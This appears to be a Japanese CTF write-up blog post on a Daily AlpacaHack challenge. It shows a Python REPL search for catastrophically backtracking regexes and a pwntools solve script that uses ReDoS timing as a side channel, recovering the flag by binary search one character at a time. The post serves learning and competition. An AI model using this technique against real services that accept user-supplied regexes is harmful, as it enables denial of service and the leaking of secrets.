https://rsk0315.hatenablog.com/entry/2026/02/26/233552

Daily AlpacaHack 2026/2/24 の write-up です。

やったこと

まず ReDoS の概念自体は知っていたのと、Python の re で指数時間になるケースが存在することも知っていたので、とりあえずそれについて考えました。

なんかたぶんこんな感じだっただろと思いながら適当にやっていたときの履歴です（うまくいっていない）。もうちょっと頭を使った方がいいですよ笑

長い

>>> import re
>>> re.match('A', 'A')
<re.Match object; span=(0, 1), match='A'>
>>> re.match('(A+)+', 'A')
<re.Match object; span=(0, 1), match='A'>
>>> re.match('(A+)+', 'AB')
<re.Match object; span=(0, 1), match='A'>
>>> re.match('(A+)+?', 'AB')
<re.Match object; span=(0, 1), match='A'>
>>> re.match('(A+)+?', 'Al')
<re.Match object; span=(0, 1), match='A'>
>>> re.match('(A+)+?p', 'Al')
>>> re.match('((A+)+)?p', 'Al')
>>> re.match('((A|A)+)?', 'Al')
<re.Match object; span=(0, 1), match='A'>
>>> re.match('((A|A)+)?', 'Al')
<re.Match object; span=(0, 1), match='A'>
>>> re.match('((A|A)+)', 'Al')
<re.Match object; span=(0, 1), match='A'>
>>> re.match('((A|A)+)l', 'Al')
<re.Match object; span=(0, 2), match='Al'>
>>> re.match('((A|A)+)m', 'Al')
>>> re.match('((A|A)+)+m', 'Al')
>>> re.match('((A|A)+)+m', 'Al')
>>> re.match('(((A|A)+)+)+m', 'Al')
>>> re.match('((((A|A)+)+)+)+m', 'Al')
>>> re.match('(((((A|A)+)+)+)+)+m', 'Al')
>>> re.match('((((((A|A)+)+)+)+)+)+m', 'Al')
>>> re.match('(((((((A|A)+)+)+)+)+)+)+m', 'Al')
>>> re.match('((((((((A|A)+)+)+)+)+)+)+)+m', 'Al')
>>> re.match('(((((((((A|A)+)+)+)+)+)+)+)+)+m', 'Al')
>>> re.match('((((((((((A|A)+)+)+)+)+)+)+)+)+)+m', 'Al')
>>> re.match('(((((((((((A|A)+)+)+)+)+)+)+)+)+)+)+m', 'Al')
>>> re.match('(((((((((((A|A|A)+)+)+)+)+)+)+)+)+)+)+m', 'Al')
>>> re.match('(((((((((((B|B|B)+)+)+)+)+)+)+)+)+)+)+m', 'Al')
>>> re.match('(((((((((((B|B|B)+)+)+)+)+)+)+)+)+)+)+m', 'Al')
>>> re.match('(((((((((((B|BB|B|B)+)+)+)+)+)+)+)+)+)+)+m', 'Al')
>>> re.match('(((((((((((B|B|B|B|B)+)+)+)+)+)+)+)+)+)+)+m', 'Al')
>>> re.match('(((((((((((B|B|B|B|B)*)*)*)*)*)*)*)*)*)*)*l', 'Al')
>>> re.match('(((((((((((B|B|B|B|B)*)*)*)*)*)*)*)*)*)*)*p', 'Al')

顕著な差があったときの入力は次の通りです。

>>> re.match('(((((((((((A|A|A|A|A)*)*)*)*)*)*)*)*)*)*)*l', 'Al')
<re.Match object; span=(0, 2), match='Al'>
>>> re.match('(((((((((((A|A|A|A|A)*)*)*)*)*)*)*)*)*)*)*p', 'Al')

あとは底（A|A|A の長さ）と指数（((()*)*)*)* の深さ）を調整して、適度な時間がかかるようにします。判定器ができたので二分探索して終わりです。

solve.py

import time

from pwn import *

p = remote("34.170.146.252", 22289)


def test(r):
    p.sendlineafter(b"regex> ", r.encode())
    tic = time.time()
    res = p.recvline().strip()
    toc = time.time()
    print(toc - tic)
    return toc - tic < 1


flag = "A"
while True:
    lo = 0x01
    hi = 0x80
    while hi - lo > 1:
        mid = lo + (hi - lo) // 2
        cur = f"(((((((((({flag}|{flag})*)*)*)*)*)*)*)*)*)*[\\x00-\\x{mid:02X}]"
        if test(cur):
            hi = mid
        else:
            lo = mid

    flag += chr(hi)
    print(flag)

余談ですが、えびちゃんが時間計測用の変数を置くときには tic, toc を使いがちです。大学時代に少しだけ触った MATLAB の影響を受けています。

ループの終了条件を適当にやっているので、終わったなという感じになったら C-c で終わらせます（解ければよいため）。

Alpaca{r3GeX_Pow3rFu1}\x02\x02\x02 👏 ← 終わったなという見た目

所感など

えびちゃんも「なんか side-channel attack っぽいの出したいよな〜」と思っていたのですが、綺麗な設定で出題されてにっこりになりました。自分の名前で出したいという気持ちが薄くて、自分がよいと思っているものが世に存在していればうれしいという気持ちが常にあります。競プロや CTF に限らず、ニコニコ動画で自分の思ったコメントが流れてくると満足してしまうとかそういうのもあります。

あとフラグの powerful の部分に「計算量が指数時間になることと冪乗の power がかかってるのか？」と思ってオサレだな〜と思っていたのですが、別に全然そんなことはないかもしれません。

別の日の問題についてのネタバレなので一応伏せ

あ〜問題名の意味にようやく気づいた、これはオサレですね
— えびちゃん🍑🍝🦃 (@rsk0315_h4x) 2026年1月8日

SwapSwap の頭文字の SS が ß を示唆してるんだろうという話
— えびちゃん🍑🍝🦃 (@rsk0315_h4x) 2026年1月9日

↑ これは全然勝手に思い込んでいただけらしいです。

他に指数と powerful がかかっているものの例としてはこちらがあります ↓

atcoder.jp

あとえびちゃん的には ( ) | * と連接以外の演算が使われているものを正規表現と呼びたくない宗教に入っているので、lookaround や backref が発想から抜けがちです。それらを含めた場合の「正規表現に機能を追加した版のやつ」と等価な計算量クラスに関する論文が数年前にあった気もします（結局まだ読めてない気もします）し、その手の機能を使って表される言語が正規言語であることもありますし、難しいな〜みたいな気持ちになったりします。そこまで毛嫌いしなくていいんじゃない？という感じにはなりつつあります。

xkcd.com

正規表現がこういう状態になってしまったことについては嫌な気持ちがあります。

おわり

おわりです。